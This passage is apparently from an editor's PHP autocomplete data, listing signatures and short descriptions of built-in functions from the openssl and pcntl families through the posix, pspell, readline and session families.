PKCS12 to an array\"],openssl_pkcs7_decrypt:[\"bool openssl_pkcs7_decrypt(string infilename, string outfilename, mixed recipcert [, mixed recipkey])\",\"Decrypts the S/MIME message in the file name infilename and output the results to the file name outfilename.  recipcert is a CERT for one of the recipients. recipkey specifies the private key matching recipcert, if recipcert does not include the key\"],openssl_pkcs7_encrypt:[\"bool openssl_pkcs7_encrypt(string infile, string outfile, mixed recipcerts, array headers [, long flags [, long cipher]])\",\"Encrypts the message in the file named infile with the certificates in recipcerts and output the result to the file named outfile\"],openssl_pkcs7_sign:[\"bool openssl_pkcs7_sign(string infile, string outfile, mixed signcert, mixed signkey, array headers [, long flags [, string extracertsfilename]])\",\"Signs the MIME message in the file named infile with signcert/signkey and output the result to file name outfile. headers lists plain text headers to exclude from the signed portion of the message, and should include to, from and subject as a minimum\"],openssl_pkcs7_verify:[\"bool openssl_pkcs7_verify(string filename, long flags [, string signerscerts [, array cainfo [, string extracerts [, string content]]]])\",\"Verifys that the data block is intact, the signer is who they say they are, and returns the CERTs of the signers\"],openssl_pkey_export:[\"bool openssl_pkey_export(mixed key, &mixed out [, string passphrase [, array config_args]])\",\"Gets an exportable representation of a key into a string or file\"],openssl_pkey_export_to_file:[\"bool openssl_pkey_export_to_file(mixed key, string outfilename [, string passphrase, array config_args)\",\"Gets an exportable representation of a key into a file\"],openssl_pkey_free:[\"void openssl_pkey_free(int key)\",\"Frees a key\"],openssl_pkey_get_details:[\"resource openssl_pkey_get_details(resource key)\",\"returns an array with the key details (bits, pkey, type)\"],openssl_pkey_get_private:[\"int openssl_pkey_get_private(string key [, string passphrase])\",\"Gets private keys\"],openssl_pkey_get_public:[\"int openssl_pkey_get_public(mixed cert)\",\"Gets public key from X.509 certificate\"],openssl_pkey_new:[\"resource openssl_pkey_new([array configargs])\",\"Generates a new private key\"],openssl_private_decrypt:[\"bool openssl_private_decrypt(string data, string &decrypted, mixed key [, int padding])\",\"Decrypts data with private key\"],openssl_private_encrypt:[\"bool openssl_private_encrypt(string data, string &crypted, mixed key [, int padding])\",\"Encrypts data with private key\"],openssl_public_decrypt:[\"bool openssl_public_decrypt(string data, string &crypted, resource key [, int padding])\",\"Decrypts data with public key\"],openssl_public_encrypt:[\"bool openssl_public_encrypt(string data, string &crypted, mixed key [, int padding])\",\"Encrypts data with public key\"],openssl_random_pseudo_bytes:[\"string openssl_random_pseudo_bytes(integer length [, &bool returned_strong_result])\",\"Returns a string of the length specified filled with random pseudo bytes\"],openssl_seal:[\"int openssl_seal(string data, &string sealdata, &array ekeys, array pubkeys)\",\"Seals data\"],openssl_sign:[\"bool openssl_sign(string data, &string signature, mixed key[, mixed method])\",\"Signs data\"],openssl_verify:[\"int openssl_verify(string data, string signature, mixed key[, mixed method])\",\"Verifys data\"],openssl_x509_check_private_key:[\"bool openssl_x509_check_private_key(mixed cert, mixed key)\",\"Checks if a private key corresponds to a CERT\"],openssl_x509_checkpurpose:[\"int openssl_x509_checkpurpose(mixed x509cert, int purpose, array cainfo [, string untrustedfile])\",\"Checks the CERT to see if it can be used for the purpose in purpose. cainfo holds information about trusted CAs\"],openssl_x509_export:[\"bool openssl_x509_export(mixed x509, string &out [, bool notext = true])\",\"Exports a CERT to file or a var\"],openssl_x509_export_to_file:[\"bool openssl_x509_export_to_file(mixed x509, string outfilename [, bool notext = true])\",\"Exports a CERT to file or a var\"],openssl_x509_free:[\"void openssl_x509_free(resource x509)\",\"Frees X.509 certificates\"],openssl_x509_parse:[\"array openssl_x509_parse(mixed x509 [, bool shortnames=true])\",\"Returns an array of the fields/values of the CERT\"],openssl_x509_read:[\"resource openssl_x509_read(mixed cert)\",\"Reads X.509 certificates\"],ord:[\"int ord(string character)\",\"Returns ASCII value of character\"],output_add_rewrite_var:[\"bool output_add_rewrite_var(string name, string value)\",\"Add URL rewriter values\"],output_reset_rewrite_vars:[\"bool output_reset_rewrite_vars(void)\",\"Reset(clear) URL rewriter values\"],pack:[\"string pack(string format, mixed arg1 [, mixed arg2 [, mixed ...]])\",\"Takes one or more arguments and packs them into a binary string according to the format argument\"],parse_ini_file:[\"array parse_ini_file(string filename [, bool process_sections [, int scanner_mode]])\",\"Parse configuration file\"],parse_ini_string:[\"array parse_ini_string(string ini_string [, bool process_sections [, int scanner_mode]])\",\"Parse configuration string\"],parse_locale:[\"static array parse_locale($locale)\",\"* parses a locale-id into an array the different parts of it\"],parse_str:[\"void parse_str(string encoded_string [, array result])\",\"Parses GET/POST/COOKIE data and sets global variables\"],parse_url:[\"mixed parse_url(string url, [int url_component])\",\"Parse a URL and return its components\"],passthru:[\"void passthru(string command [, int &return_value])\",\"Execute an external program and display raw output\"],pathinfo:[\"array pathinfo(string path[, int options])\",\"Returns information about a certain string\"],pclose:[\"int pclose(resource fp)\",\"Close a file pointer opened by popen()\"],pcnlt_sigwaitinfo:[\"int pcnlt_sigwaitinfo(array set[, array &siginfo])\",\"Synchronously wait for queued signals\"],pcntl_alarm:[\"int pcntl_alarm(int seconds)\",\"Set an alarm clock for delivery of a signal\"],pcntl_exec:[\"bool pcntl_exec(string path [, array args [, array envs]])\",\"Executes specified program in current process space as defined by exec(2)\"],pcntl_fork:[\"int pcntl_fork(void)\",\"Forks the currently running process following the same behavior as the UNIX fork() system call\"],pcntl_getpriority:[\"int pcntl_getpriority([int pid [, int process_identifier]])\",\"Get the priority of any process\"],pcntl_setpriority:[\"bool pcntl_setpriority(int priority [, int pid [, int process_identifier]])\",\"Change the priority of any process\"],pcntl_signal:[\"bool pcntl_signal(int signo, callback handle [, bool restart_syscalls])\",\"Assigns a system signal handler to a PHP function\"],pcntl_signal_dispatch:[\"bool pcntl_signal_dispatch()\",\"Dispatch signals to signal handlers\"],pcntl_sigprocmask:[\"bool pcntl_sigprocmask(int how, array set[, array &oldset])\",\"Examine and change blocked signals\"],pcntl_sigtimedwait:[\"int pcntl_sigtimedwait(array set[, array &siginfo[, int seconds[, int nanoseconds]]])\",\"Wait for queued signals\"],pcntl_wait:[\"int pcntl_wait(int &status)\",\"Waits on or returns the status of a forked child as defined by the waitpid() system call\"],pcntl_waitpid:[\"int pcntl_waitpid(int pid, int &status, int options)\",\"Waits on or returns the status of a forked child as defined by the waitpid() system call\"],pcntl_wexitstatus:[\"int pcntl_wexitstatus(int status)\",\"Returns the status code of a child's exit\"],pcntl_wifexited:[\"bool pcntl_wifexited(int status)\",\"Returns true if the child status code represents a successful exit\"],pcntl_wifsignaled:[\"bool pcntl_wifsignaled(int status)\",\"Returns true if the child status code represents a process that was terminated due to a signal\"],pcntl_wifstopped:[\"bool pcntl_wifstopped(int status)\",\"Returns true if the child status code represents a stopped process (WUNTRACED must have been used with waitpid)\"],pcntl_wstopsig:[\"int pcntl_wstopsig(int status)\",\"Returns the number of the signal that caused the process to stop who's status code is passed\"],pcntl_wtermsig:[\"int pcntl_wtermsig(int status)\",\"Returns the number of the signal that terminated the process who's status code is passed\"],pdo_drivers:[\"array pdo_drivers()\",\"Return array of available PDO drivers\"],pfsockopen:[\"resource pfsockopen(string hostname, int port [, int errno [, string errstr [, float timeout]]])\",\"Open persistent Internet or Unix domain socket connection\"],pg_affected_rows:[\"int pg_affected_rows(resource result)\",\"Returns the number of affected tuples\"],pg_cancel_query:[\"bool pg_cancel_query(resource connection)\",\"Cancel request\"],pg_client_encoding:[\"string pg_client_encoding([resource connection])\",\"Get the current client encoding\"],pg_close:[\"bool pg_close([resource connection])\",\"Close a PostgreSQL connection\"],pg_connect:[\"resource pg_connect(string connection_string[, int connect_type] | [string host, string port [, string options [, string tty,]]] string database)\",\"Open a PostgreSQL connection\"],pg_connection_busy:[\"bool pg_connection_busy(resource connection)\",\"Get connection is busy or not\"],pg_connection_reset:[\"bool pg_connection_reset(resource connection)\",\"Reset connection (reconnect)\"],pg_connection_status:[\"int pg_connection_status(resource connnection)\",\"Get connection status\"],pg_convert:[\"array pg_convert(resource db, string table, array values[, int options])\",\"Check and convert values for PostgreSQL SQL statement\"],pg_copy_from:[\"bool pg_copy_from(resource connection, string table_name , array rows [, string delimiter [, string null_as]])\",\"Copy table from array\"],pg_copy_to:[\"array pg_copy_to(resource connection, string table_name [, string delimiter [, string null_as]])\",\"Copy table to array\"],pg_dbname:[\"string pg_dbname([resource connection])\",\"Get the database name\"],pg_delete:[\"mixed pg_delete(resource db, string table, array ids[, int options])\",\"Delete records has ids (id=>value)\"],pg_end_copy:[\"bool pg_end_copy([resource connection])\",\"Sync with backend. Completes the Copy command\"],pg_escape_bytea:[\"string pg_escape_bytea([resource connection,] string data)\",\"Escape binary for bytea type\"],pg_escape_string:[\"string pg_escape_string([resource connection,] string data)\",\"Escape string for text/char type\"],pg_execute:[\"resource pg_execute([resource connection,] string stmtname, array params)\",\"Execute a prepared query\"],pg_fetch_all:[\"array pg_fetch_all(resource result)\",\"Fetch all rows into array\"],pg_fetch_all_columns:[\"array pg_fetch_all_columns(resource result [, int column_number])\",\"Fetch all rows into array\"],pg_fetch_array:[\"array pg_fetch_array(resource result [, int row [, int result_type]])\",\"Fetch a row as an array\"],pg_fetch_assoc:[\"array pg_fetch_assoc(resource result [, int row])\",\"Fetch a row as an assoc array\"],pg_fetch_object:[\"object pg_fetch_object(resource result [, int row [, string class_name [, NULL|array ctor_params]]])\",\"Fetch a row as an object\"],pg_fetch_result:[\"mixed pg_fetch_result(resource result, [int row_number,] mixed field_name)\",\"Returns values from a result identifier\"],pg_fetch_row:[\"array pg_fetch_row(resource result [, int row [, int result_type]])\",\"Get a row as an enumerated array\"],pg_field_is_null:[\"int pg_field_is_null(resource result, [int row,] mixed field_name_or_number)\",\"Test if a field is NULL\"],pg_field_name:[\"string pg_field_name(resource result, int field_number)\",\"Returns the name of the field\"],pg_field_num:[\"int pg_field_num(resource result, string field_name)\",\"Returns the field number of the named field\"],pg_field_prtlen:[\"int pg_field_prtlen(resource result, [int row,] mixed field_name_or_number)\",\"Returns the printed length\"],pg_field_size:[\"int pg_field_size(resource result, int field_number)\",\"Returns the internal size of the field\"],pg_field_table:[\"mixed pg_field_table(resource result, int field_number[, bool oid_only])\",\"Returns the name of the table field belongs to, or table's oid if oid_only is true\"],pg_field_type:[\"string pg_field_type(resource result, int field_number)\",\"Returns the type name for the given field\"],pg_field_type_oid:[\"string pg_field_type_oid(resource result, int field_number)\",\"Returns the type oid for the given field\"],pg_free_result:[\"bool pg_free_result(resource result)\",\"Free result memory\"],pg_get_notify:[\"array pg_get_notify([resource connection[, result_type]])\",\"Get asynchronous notification\"],pg_get_pid:[\"int pg_get_pid([resource connection)\",\"Get backend(server) pid\"],pg_get_result:[\"resource pg_get_result(resource connection)\",\"Get asynchronous query result\"],pg_host:[\"string pg_host([resource connection])\",\"Returns the host name associated with the connection\"],pg_insert:[\"mixed pg_insert(resource db, string table, array values[, int options])\",\"Insert values (filed=>value) to table\"],pg_last_error:[\"string pg_last_error([resource connection])\",\"Get the error message string\"],pg_last_notice:[\"string pg_last_notice(resource connection)\",\"Returns the last notice set by the backend\"],pg_last_oid:[\"string pg_last_oid(resource result)\",\"Returns the last object identifier\"],pg_lo_close:[\"bool pg_lo_close(resource large_object)\",\"Close a large object\"],pg_lo_create:[\"mixed pg_lo_create([resource connection],[mixed large_object_oid])\",\"Create a large object\"],pg_lo_export:[\"bool pg_lo_export([resource connection, ] int objoid, string filename)\",\"Export large object direct to filesystem\"],pg_lo_import:[\"int pg_lo_import([resource connection, ] string filename [, mixed oid])\",\"Import large object direct from filesystem\"],pg_lo_open:[\"resource pg_lo_open([resource connection,] int large_object_oid, string mode)\",\"Open a large object and return fd\"],pg_lo_read:[\"string pg_lo_read(resource large_object [, int len])\",\"Read a large object\"],pg_lo_read_all:[\"int pg_lo_read_all(resource large_object)\",\"Read a large object and send straight to browser\"],pg_lo_seek:[\"bool pg_lo_seek(resource large_object, int offset [, int whence])\",\"Seeks position of large object\"],pg_lo_tell:[\"int pg_lo_tell(resource large_object)\",\"Returns current position of large object\"],pg_lo_unlink:[\"bool pg_lo_unlink([resource connection,] string large_object_oid)\",\"Delete a large object\"],pg_lo_write:[\"int pg_lo_write(resource large_object, string buf [, int len])\",\"Write a large object\"],pg_meta_data:[\"array pg_meta_data(resource db, string table)\",\"Get meta_data\"],pg_num_fields:[\"int pg_num_fields(resource result)\",\"Return the number of fields in the result\"],pg_num_rows:[\"int pg_num_rows(resource result)\",\"Return the number of rows in the result\"],pg_options:[\"string pg_options([resource connection])\",\"Get the options associated with the connection\"],pg_parameter_status:[\"string|false pg_parameter_status([resource connection,] string param_name)\",\"Returns the value of a server parameter\"],pg_pconnect:[\"resource pg_pconnect(string connection_string | [string host, string port [, string options [, string tty,]]] string database)\",\"Open a persistent PostgreSQL connection\"],pg_ping:[\"bool pg_ping([resource connection])\",\"Ping database. If connection is bad, try to reconnect.\"],pg_port:[\"int pg_port([resource connection])\",\"Return the port number associated with the connection\"],pg_prepare:[\"resource pg_prepare([resource connection,] string stmtname, string query)\",\"Prepare a query for future execution\"],pg_put_line:[\"bool pg_put_line([resource connection,] string query)\",\"Send null-terminated string to backend server\"],pg_query:[\"resource pg_query([resource connection,] string query)\",\"Execute a query\"],pg_query_params:[\"resource pg_query_params([resource connection,] string query, array params)\",\"Execute a query\"],pg_result_error:[\"string pg_result_error(resource result)\",\"Get error message associated with result\"],pg_result_error_field:[\"string pg_result_error_field(resource result, int fieldcode)\",\"Get error message field associated with result\"],pg_result_seek:[\"bool pg_result_seek(resource result, int offset)\",\"Set internal row offset\"],pg_result_status:[\"mixed pg_result_status(resource result[, long result_type])\",\"Get status of query result\"],pg_select:[\"mixed pg_select(resource db, string table, array ids[, int options])\",\"Select records that has ids (id=>value)\"],pg_send_execute:[\"bool pg_send_execute(resource connection, string stmtname, array params)\",\"Executes prevriously prepared stmtname asynchronously\"],pg_send_prepare:[\"bool pg_send_prepare(resource connection, string stmtname, string query)\",\"Asynchronously prepare a query for future execution\"],pg_send_query:[\"bool pg_send_query(resource connection, string query)\",\"Send asynchronous query\"],pg_send_query_params:[\"bool pg_send_query_params(resource connection, string query, array params)\",\"Send asynchronous parameterized query\"],pg_set_client_encoding:[\"int pg_set_client_encoding([resource connection,] string encoding)\",\"Set client encoding\"],pg_set_error_verbosity:[\"int pg_set_error_verbosity([resource connection,] int verbosity)\",\"Set error verbosity\"],pg_trace:[\"bool pg_trace(string filename [, string mode [, resource connection]])\",\"Enable tracing a PostgreSQL connection\"],pg_transaction_status:[\"int pg_transaction_status(resource connnection)\",\"Get transaction status\"],pg_tty:[\"string pg_tty([resource connection])\",\"Return the tty name associated with the connection\"],pg_unescape_bytea:[\"string pg_unescape_bytea(string data)\",\"Unescape binary for bytea type\"],pg_untrace:[\"bool pg_untrace([resource connection])\",\"Disable tracing of a PostgreSQL connection\"],pg_update:[\"mixed pg_update(resource db, string table, array fields, array ids[, int options])\",\"Update table using values (field=>value) and ids (id=>value)\"],pg_version:[\"array pg_version([resource connection])\",\"Returns an array with client, protocol and server version (when available)\"],php_egg_logo_guid:[\"string php_egg_logo_guid(void)\",\"Return the special ID used to request the PHP logo in phpinfo screens\"],php_ini_loaded_file:[\"string php_ini_loaded_file(void)\",\"Return the actual loaded ini filename\"],php_ini_scanned_files:[\"string php_ini_scanned_files(void)\",\"Return comma-separated string of .ini files parsed from the additional ini dir\"],php_logo_guid:[\"string php_logo_guid(void)\",\"Return the special ID used to request the PHP logo in phpinfo screens\"],php_real_logo_guid:[\"string php_real_logo_guid(void)\",\"Return the special ID used to request the PHP logo in phpinfo screens\"],php_sapi_name:[\"string php_sapi_name(void)\",\"Return the current SAPI module name\"],php_snmpv3:[\"void php_snmpv3(INTERNAL_FUNCTION_PARAMETERS, int st)\",\"* * Generic SNMPv3 object fetcher * From here is passed on the the common internal object fetcher. * * st=SNMP_CMD_GET   snmp3_get() - query an agent and return a single value. * st=SNMP_CMD_GETNEXT   snmp3_getnext() - query an agent and return the next single value. * st=SNMP_CMD_WALK   snmp3_walk() - walk the mib and return a single dimensional array  *                       containing the values. * st=SNMP_CMD_REALWALK   snmp3_real_walk() - walk the mib and return an  *                            array of oid,value pairs. * st=SNMP_CMD_SET  snmp3_set() - query an agent and set a single value *\"],php_strip_whitespace:[\"string php_strip_whitespace(string file_name)\",\"Return source with stripped comments and whitespace\"],php_uname:[\"string php_uname(void)\",\"Return information about the system PHP was built on\"],phpcredits:[\"void phpcredits([int flag])\",\"Prints the list of people who've contributed to the PHP project\"],phpinfo:[\"void phpinfo([int what])\",\"Output a page of useful information about PHP and the current request\"],phpversion:[\"string phpversion([string extension])\",\"Return the current PHP version\"],pi:[\"float pi(void)\",\"Returns an approximation of pi\"],png2wbmp:[\"bool png2wbmp (string f_org, string f_dest, int d_height, int d_width, int threshold)\",\"Convert PNG image to WBMP image\"],popen:[\"resource popen(string command, string mode)\",\"Execute a command and open either a read or a write pipe to it\"],posix_access:[\"bool posix_access(string file [, int mode])\",\"Determine accessibility of a file (POSIX.1 5.6.3)\"],posix_ctermid:[\"string posix_ctermid(void)\",\"Generate terminal path name (POSIX.1, 4.7.1)\"],posix_get_last_error:[\"int posix_get_last_error(void)\",\"Retrieve the error number set by the last posix function which failed.\"],posix_getcwd:[\"string posix_getcwd(void)\",\"Get working directory pathname (POSIX.1, 5.2.2)\"],posix_getegid:[\"int posix_getegid(void)\",\"Get the current effective group id (POSIX.1, 4.2.1)\"],posix_geteuid:[\"int posix_geteuid(void)\",\"Get the current effective user id (POSIX.1, 4.2.1)\"],posix_getgid:[\"int posix_getgid(void)\",\"Get the current group id (POSIX.1, 4.2.1)\"],posix_getgrgid:[\"array posix_getgrgid(long gid)\",\"Group database access (POSIX.1, 9.2.1)\"],posix_getgrnam:[\"array posix_getgrnam(string groupname)\",\"Group database access (POSIX.1, 9.2.1)\"],posix_getgroups:[\"array posix_getgroups(void)\",\"Get supplementary group id's (POSIX.1, 4.2.3)\"],posix_getlogin:[\"string posix_getlogin(void)\",\"Get user name (POSIX.1, 4.2.4)\"],posix_getpgid:[\"int posix_getpgid(void)\",\"Get the process group id of the specified process (This is not a POSIX function, but a SVR4ism, so we compile conditionally)\"],posix_getpgrp:[\"int posix_getpgrp(void)\",\"Get current process group id (POSIX.1, 4.3.1)\"],posix_getpid:[\"int posix_getpid(void)\",\"Get the current process id (POSIX.1, 4.1.1)\"],posix_getppid:[\"int posix_getppid(void)\",\"Get the parent process id (POSIX.1, 4.1.1)\"],posix_getpwnam:[\"array posix_getpwnam(string groupname)\",\"User database access (POSIX.1, 9.2.2)\"],posix_getpwuid:[\"array posix_getpwuid(long uid)\",\"User database access (POSIX.1, 9.2.2)\"],posix_getrlimit:[\"array posix_getrlimit(void)\",\"Get system resource consumption limits (This is not a POSIX function, but a BSDism and a SVR4ism. We compile conditionally)\"],posix_getsid:[\"int posix_getsid(void)\",\"Get process group id of session leader (This is not a POSIX function, but a SVR4ism, so be compile conditionally)\"],posix_getuid:[\"int posix_getuid(void)\",\"Get the current user id (POSIX.1, 4.2.1)\"],posix_initgroups:[\"bool posix_initgroups(string name, int base_group_id)\",\"Calculate the group access list for the user specified in name.\"],posix_isatty:[\"bool posix_isatty(int fd)\",\"Determine if filedesc is a tty (POSIX.1, 4.7.1)\"],posix_kill:[\"bool posix_kill(int pid, int sig)\",\"Send a signal to a process (POSIX.1, 3.3.2)\"],posix_mkfifo:[\"bool posix_mkfifo(string pathname, int mode)\",\"Make a FIFO special file (POSIX.1, 5.4.2)\"],posix_mknod:[\"bool posix_mknod(string pathname, int mode [, int major [, int minor]])\",\"Make a special or ordinary file (POSIX.1)\"],posix_setegid:[\"bool posix_setegid(long uid)\",\"Set effective group id\"],posix_seteuid:[\"bool posix_seteuid(long uid)\",\"Set effective user id\"],posix_setgid:[\"bool posix_setgid(int uid)\",\"Set group id (POSIX.1, 4.2.2)\"],posix_setpgid:[\"bool posix_setpgid(int pid, int pgid)\",\"Set process group id for job control (POSIX.1, 4.3.3)\"],posix_setsid:[\"int posix_setsid(void)\",\"Create session and set process group id (POSIX.1, 4.3.2)\"],posix_setuid:[\"bool posix_setuid(long uid)\",\"Set user id (POSIX.1, 4.2.2)\"],posix_strerror:[\"string posix_strerror(int errno)\",\"Retrieve the system error message associated with the given errno.\"],posix_times:[\"array posix_times(void)\",\"Get process times (POSIX.1, 4.5.2)\"],posix_ttyname:[\"string posix_ttyname(int fd)\",\"Determine terminal device name (POSIX.1, 4.7.2)\"],posix_uname:[\"array posix_uname(void)\",\"Get system name (POSIX.1, 4.4.1)\"],pow:[\"number pow(number base, number exponent)\",\"Returns base raised to the power of exponent. Returns integer result when possible\"],preg_filter:[\"mixed preg_filter(mixed regex, mixed replace, mixed subject [, int limit [, int &count]])\",\"Perform Perl-style regular expression replacement and only return matches.\"],preg_grep:[\"array preg_grep(string regex, array input [, int flags])\",\"Searches array and returns entries which match regex\"],preg_last_error:[\"int preg_last_error()\",\"Returns the error code of the last regexp execution.\"],preg_match:[\"int preg_match(string pattern, string subject [, array &subpatterns [, int flags [, int offset]]])\",\"Perform a Perl-style regular expression match\"],preg_match_all:[\"int preg_match_all(string pattern, string subject, array &subpatterns [, int flags [, int offset]])\",\"Perform a Perl-style global regular expression match\"],preg_quote:[\"string preg_quote(string str [, string delim_char])\",\"Quote regular expression characters plus an optional character\"],preg_replace:[\"mixed preg_replace(mixed regex, mixed replace, mixed subject [, int limit [, int &count]])\",\"Perform Perl-style regular expression replacement.\"],preg_replace_callback:[\"mixed preg_replace_callback(mixed regex, mixed callback, mixed subject [, int limit [, int &count]])\",\"Perform Perl-style regular expression replacement using replacement callback.\"],preg_split:[\"array preg_split(string pattern, string subject [, int limit [, int flags]])\",\"Split string into an array using a perl-style regular expression as a delimiter\"],prev:[\"mixed prev(array array_arg)\",\"Move array argument's internal pointer to the previous element and return it\"],print:[\"int print(string arg)\",\"Output a string\"],print_r:[\"mixed print_r(mixed var [, bool return])\",\"Prints out or returns information about the specified variable\"],printf:[\"int printf(string format [, mixed arg1 [, mixed ...]])\",\"Output a formatted string\"],proc_close:[\"int proc_close(resource process)\",\"close a process opened by proc_open\"],proc_get_status:[\"array proc_get_status(resource process)\",\"get information about a process opened by proc_open\"],proc_nice:[\"bool proc_nice(int priority)\",\"Change the priority of the current process\"],proc_open:[\"resource proc_open(string command, array descriptorspec, array &pipes [, string cwd [, array env [, array other_options]]])\",\"Run a process with more control over it's file descriptors\"],proc_terminate:[\"bool proc_terminate(resource process [, long signal])\",\"kill a process opened by proc_open\"],property_exists:[\"bool property_exists(mixed object_or_class, string property_name)\",\"Checks if the object or class has a property\"],pspell_add_to_personal:[\"bool pspell_add_to_personal(int pspell, string word)\",\"Adds a word to a personal list\"],pspell_add_to_session:[\"bool pspell_add_to_session(int pspell, string word)\",\"Adds a word to the current session\"],pspell_check:[\"bool pspell_check(int pspell, string word)\",\"Returns true if word is valid\"],pspell_clear_session:[\"bool pspell_clear_session(int pspell)\",\"Clears the current session\"],pspell_config_create:[\"int pspell_config_create(string language [, string spelling [, string jargon [, string encoding]]])\",\"Create a new config to be used later to create a manager\"],pspell_config_data_dir:[\"bool pspell_config_data_dir(int conf, string directory)\",\"location of language data files\"],pspell_config_dict_dir:[\"bool pspell_config_dict_dir(int conf, string directory)\",\"location of the main word list\"],pspell_config_ignore:[\"bool pspell_config_ignore(int conf, int ignore)\",\"Ignore words <= n chars\"],pspell_config_mode:[\"bool pspell_config_mode(int conf, long mode)\",\"Select mode for config (PSPELL_FAST, PSPELL_NORMAL or PSPELL_BAD_SPELLERS)\"],pspell_config_personal:[\"bool pspell_config_personal(int conf, string personal)\",\"Use a personal dictionary for this config\"],pspell_config_repl:[\"bool pspell_config_repl(int conf, string repl)\",\"Use a personal dictionary with replacement pairs for this config\"],pspell_config_runtogether:[\"bool pspell_config_runtogether(int conf, bool runtogether)\",\"Consider run-together words as valid components\"],pspell_config_save_repl:[\"bool pspell_config_save_repl(int conf, bool save)\",\"Save replacement pairs when personal list is saved for this config\"],pspell_new:[\"int pspell_new(string language [, string spelling [, string jargon [, string encoding [, int mode]]]])\",\"Load a dictionary\"],pspell_new_config:[\"int pspell_new_config(int config)\",\"Load a dictionary based on the given config\"],pspell_new_personal:[\"int pspell_new_personal(string personal, string language [, string spelling [, string jargon [, string encoding [, int mode]]]])\",\"Load a dictionary with a personal wordlist\"],pspell_save_wordlist:[\"bool pspell_save_wordlist(int pspell)\",\"Saves the current (personal) wordlist\"],pspell_store_replacement:[\"bool pspell_store_replacement(int pspell, string misspell, string correct)\",\"Notify the dictionary of a user-selected replacement\"],pspell_suggest:[\"array pspell_suggest(int pspell, string word)\",\"Returns array of suggestions\"],putenv:[\"bool putenv(string setting)\",\"Set the value of an environment variable\"],quoted_printable_decode:[\"string quoted_printable_decode(string str)\",\"Convert a quoted-printable string to an 8 bit string\"],quoted_printable_encode:[\"string quoted_printable_encode(string str) */\",'PHP_FUNCTION(quoted_printable_encode) {  char *str, *new_str;  int str_len;  size_t new_str_len;   if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, \"s\", &str, &str_len) != SUCCESS) {   return;  }   if (!str_len) {   RETURN_EMPTY_STRING();  }   new_str = (char *)php_quot_print_encode((unsigned char *)str, (size_t)str_len, &new_str_len);  RETURN_STRINGL(new_str, new_str_len, 0); } /* }}}'],quotemeta:[\"string quotemeta(string str)\",\"Quotes meta characters\"],rad2deg:[\"float rad2deg(float number)\",\"Converts the radian number to the equivalent number in degrees\"],rand:[\"int rand([int min, int max])\",\"Returns a random number\"],range:[\"array range(mixed low, mixed high[, int step])\",\"Create an array containing the range of integers or characters from low to high (inclusive)\"],rawurldecode:[\"string rawurldecode(string str)\",\"Decodes URL-encodes string\"],rawurlencode:[\"string rawurlencode(string str)\",\"URL-encodes string\"],readdir:[\"string readdir([resource dir_handle])\",\"Read directory entry from dir_handle\"],readfile:[\"int readfile(string filename [, bool use_include_path[, resource context]])\",\"Output a file or a URL\"],readgzfile:[\"int readgzfile(string filename [, int use_include_path])\",\"Output a .gz-file\"],readline:[\"string readline([string prompt])\",\"Reads a line\"],readline_add_history:[\"bool readline_add_history(string prompt)\",\"Adds a line to the history\"],readline_callback_handler_install:[\"void readline_callback_handler_install(string prompt, mixed callback)\",\"Initializes the readline callback interface and terminal, prints the prompt and returns immediately\"],readline_callback_handler_remove:[\"bool readline_callback_handler_remove()\",\"Removes a previously installed callback handler and restores terminal settings\"],readline_callback_read_char:[\"void readline_callback_read_char()\",\"Informs the readline callback interface that a character is ready for input\"],readline_clear_history:[\"bool readline_clear_history(void)\",\"Clears the history\"],readline_completion_function:[\"bool readline_completion_function(string funcname)\",\"Readline completion function?\"],readline_info:[\"mixed readline_info([string varname [, string newvalue]])\",\"Gets/sets various internal readline variables.\"],readline_list_history:[\"array readline_list_history(void)\",\"Lists the history\"],readline_on_new_line:[\"void readline_on_new_line(void)\",\"Inform readline that the cursor has moved to a new line\"],readline_read_history:[\"bool readline_read_history([string filename])\",\"Reads the history\"],readline_redisplay:[\"void readline_redisplay(void)\",\"Ask readline to redraw the display\"],readline_write_history:[\"bool readline_write_history([string filename])\",\"Writes the history\"],readlink:[\"string readlink(string filename)\",\"Return the target of a symbolic link\"],realpath:[\"string realpath(string path)\",\"Return the resolved path\"],realpath_cache_get:[\"bool realpath_cache_get()\",\"Get current size of realpath cache\"],realpath_cache_size:[\"bool realpath_cache_size()\",\"Get current size of realpath cache\"],recode_file:[\"bool recode_file(string request, resource input, resource output)\",\"Recode file input into file output according to request\"],recode_string:[\"string recode_string(string request, string str)\",\"Recode string str according to request string\"],register_shutdown_function:[\"void register_shutdown_function(string function_name)\",\"Register a user-level function to be called on request termination\"],register_tick_function:[\"bool register_tick_function(string function_name [, mixed arg [, mixed ... ]])\",\"Registers a tick callback function\"],rename:[\"bool rename(string old_name, string new_name[, resource context])\",\"Rename a file\"],require:[\"bool require(string path)\",\"Includes and evaluates the specified file, erroring if the file cannot be included\"],require_once:[\"bool require_once(string path)\",\"Includes and evaluates the specified file, erroring if the file cannot be included\"],reset:[\"mixed reset(array array_arg)\",\"Set array argument's internal pointer to the first element and return it\"],restore_error_handler:[\"void restore_error_handler(void)\",\"Restores the previously defined error handler function\"],restore_exception_handler:[\"void restore_exception_handler(void)\",\"Restores the previously defined exception handler function\"],restore_include_path:[\"void restore_include_path()\",\"Restore the value of the include_path configuration option\"],rewind:[\"bool rewind(resource fp)\",\"Rewind the position of a file pointer\"],rewinddir:[\"void rewinddir([resource dir_handle])\",\"Rewind dir_handle back to the start\"],rmdir:[\"bool rmdir(string dirname[, resource context])\",\"Remove a directory\"],round:[\"float round(float number [, int precision [, int mode]])\",\"Returns the number rounded to specified precision\"],rsort:[\"bool rsort(array &array_arg [, int sort_flags])\",\"Sort an array in reverse order\"],rtrim:[\"string rtrim(string str [, string character_mask])\",\"Removes trailing whitespace\"],scandir:[\"array scandir(string dir [, int sorting_order [, resource context]])\",\"List files & directories inside the specified path\"],sem_acquire:[\"bool sem_acquire(resource id)\",\"Acquires the semaphore with the given id, blocking if necessary\"],sem_get:[\"resource sem_get(int key [, int max_acquire [, int perm [, int auto_release]])\",\"Return an id for the semaphore with the given key, and allow max_acquire (default 1) processes to acquire it simultaneously\"],sem_release:[\"bool sem_release(resource id)\",\"Releases the semaphore with the given id\"],sem_remove:[\"bool sem_remove(resource id)\",\"Removes semaphore from Unix systems\"],serialize:[\"string serialize(mixed variable)\",\"Returns a string representation of variable (which can later be unserialized)\"],session_cache_expire:[\"int session_cache_expire([int new_cache_expire])\",\"Return the current cache expire. If new_cache_expire is given, the current cache_expire is replaced with new_cache_expire\"],session_cache_limiter:[\"string session_cache_limiter([string new_cache_limiter])\",\"Return the current cache limiter. If new_cache_limited is given, the current cache_limiter is replaced with 